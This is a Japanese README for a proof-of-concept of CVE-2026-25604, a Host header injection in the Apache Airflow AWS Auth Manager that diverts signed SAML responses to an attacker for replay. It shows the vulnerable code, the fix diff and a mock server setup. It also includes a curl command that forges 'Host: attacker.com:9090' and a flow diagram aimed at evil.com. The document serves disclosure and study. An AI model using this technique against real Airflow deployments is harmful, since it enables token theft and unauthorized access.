
CVE-2026-25604 を実証するための PoC
Apache Airflow の AWS Auth Manager における SAML 認証バイパスに繋がる Host ヘッダーインジェクション
攻撃者は SAML ログインフローに悪意のある Host ヘッダーを注入し、Assertion Consumer Service (ACS) URL を攻撃者が制御するサーバーに向けさせることができます。これにより、攻撃者は有効な SAML レスポンスを取得してそれをリプレイし、被害者の Airflow インスタンスに不正アクセスできるようになります。また、アクセス制御が異なる複数の Airflow インスタンス間でトークンを再利用することも可能です。
| パッケージ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
apache-airflow-providers-amazon | 8.0.0 – 9.21.x | 9.22.0 |
CVE-2026-25604: AWS Auth Manager のオリジン検証エラー (CWE-346)
AWS Auth Manager では、SAML 認証のオリジンがクライアントから提供された値として使用され、実際のインスタンス URL に対して検証されませんでした。これにより、他のインスタンスから取得した SAML レスポンスを再利用することで、アクセス制御が異なる可能性がある別のインスタンスへアクセスすることが可能でした。
— NVD
| 参照元 | リンク |
|---|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-25604 |
| 修正 PR | https://github.com/apache/airflow/pull/61368 |
| 修正コミット |
Apache Airflow の AWS Auth Manager は、認証に AWS IAM Identity Center 経由の SAML 2.0 を使用します。SAML 認証リクエストの構築時に、_prepare_flask_request() メソッドは受信した HTTP リクエストから Host ヘッダーを直接読み取り、ACS コールバック URL を組み立てます:
# Vulnerable code in aws_auth_manager.py
def _prepare_flask_request(req):
host = req.headers.get("Host", req.host) # <-- Attacker-controlled
if ":" in host:
hostname, port = host.rsplit(":", 1)
else:
hostname = host
port = "443" if req.scheme == "https" else "80"
return {
"http_host": hostname, # Used to build ACS URL
"server_port": port,
...
}
この結果得られる http_host と server_port は、SAML の AssertionConsumerService URL の構築に使用されます。Identity Provider (IdP) はこの URL を信頼するため、認証済みユーザーを署名済み SAML レスポンスとともに、Host ヘッダーが指す任意の場所へリダイレクトします。
┌──────────┐ ┌──────────────┐ ┌─────────────┐
│ Attacker │ │ Victim │ │ AWS IAM │
│ │ │ Airflow │ │ Identity │
│ │ │ Instance │ │ Center │
└────┬─────┘ └──────┬───────┘ └──────┬──────┘
│ │ │
│ 1. GET /login │ │
│ Host: evil.com:8080 │ │
│─────────────────────>│ │
│ │ │
│ │ 2. SAML AuthnRequest │
│ │ ACS URL = │
│ │ evil.com:8080/ │
│ │ login_callback │
│ │───────────────────────>│
│ │ │
│ │ 3. User authenticates │
│ │ at IdP login page │
│ │ │
│ 4. IdP redirects │ │
│ SAMLResponse to │<───────────────────────│
│ evil.com:8080 │ │
│<─────────────────────│ │
│ │ │
│ 5. Attacker captures │ │
│ valid SAMLResponse│ │
│ │ │
│ 6. Replay to victim │ │
│ POST /login_callback │
│ with captured │ │
│ SAMLResponse │ │
│─────────────────────>│ │
│ │ │
│ 7. Authenticated! │ │
│<─────────────────────│ │
└──────────────────────┴────────────────────────┘
シナリオ A — フィッシングによるトークン窃取: 攻撃者は (リバースプロキシ経由で偽装した Host ヘッダーを含む) 細工されたログインリンクを正規ユーザーに送信します。ユーザーが IAM Identity Center で認証すると、SAML レスポンスは攻撃者のサーバーへリダイレクトされます。攻撃者はそれを実際の Airflow インスタンスに対してリプレイします。
シナリオ B — インスタンス間でのトークン再利用: マルチテナントまたは複数インスタンスの Airflow 環境では、インスタンス A で取得した有効な SAML レスポンスをインスタンス B に対してリプレイできます。オリジンが実際のインスタンス URL に対して検証されないため、インスタンス B の異なるアクセス制御がバイパスされます。
CVE-2026-25604-PoC/
├── README.md # This file
└── mock_airflow.py # Mock vulnerable Airflow server
pip install flask python3-saml
Airflow AWS Auth Manager のドキュメント に従って、AWS IAM Identity Center に SAML 2.0 アプリケーションを設定します:
http://<airflow-host>:<port>/login_callbackaws-auth-manager-saml-clientpython mock_airflow.py <SAML_METADATA_URL> [PORT]
例:
python mock_airflow.py https://portal.sso.us-east-1.amazonaws.com/saml/metadata/XXXX 8080
別のターミナルで、操作された Host ヘッダーを使用して SAML ログインを開始します:
curl -v -H "Host: attacker.com:9090" http://127.0.0.1:8080/login
サーバーは AWS IAM Identity Center のログインページへの 302 Redirect で応答します。SAML の AuthnRequest を確認すると、AssertionConsumerService URL が正規のサーバーではなく attacker.com:9090/login_callback を指していることがわかります。
モック Airflow サーバーのコンソールで:
[LOGIN] Host header: attacker.com:9090
[DEBUG] http_host=attacker.com, server_port=9090
SAML AuthnRequest は IdP に対し、認証済みの SAML レスポンスを attacker.com:9090 へ配信するよう指示します。これにより、攻撃者はリプレイ可能な有効なトークンを入手できます。
airflow/providers/amazon/aws/auth_manager/aws_auth_manager.py の _prepare_flask_request() メソッド:
host = request.headers.get("Host", request.host)
この行は、クライアントから提供された Host ヘッダーを、設定済みの Airflow ベース URL (AIRFLOW__API__BASE_URL) に対して検証せずに信頼しています。
修正 (PR #61368、2026 年 2 月 3 日にマージ) では、リクエストから取得したホストを Airflow 設定の値に置き換えています:
- host = request.headers.get("Host", request.host)
+ host = conf.get("api", "base_url")
これにより、クライアントが送信する Host ヘッダーに関係なく、ACS URL が管理者によって設定された実際のインスタンス URL と常に一致することが保証されます。
この概念実証 (PoC) は教育および許可されたセキュリティテストの目的のみで提供されます。責任を持って、所有しているシステムまたは明示的なテスト許可があるシステムに対してのみ使用してください。
1a86aec |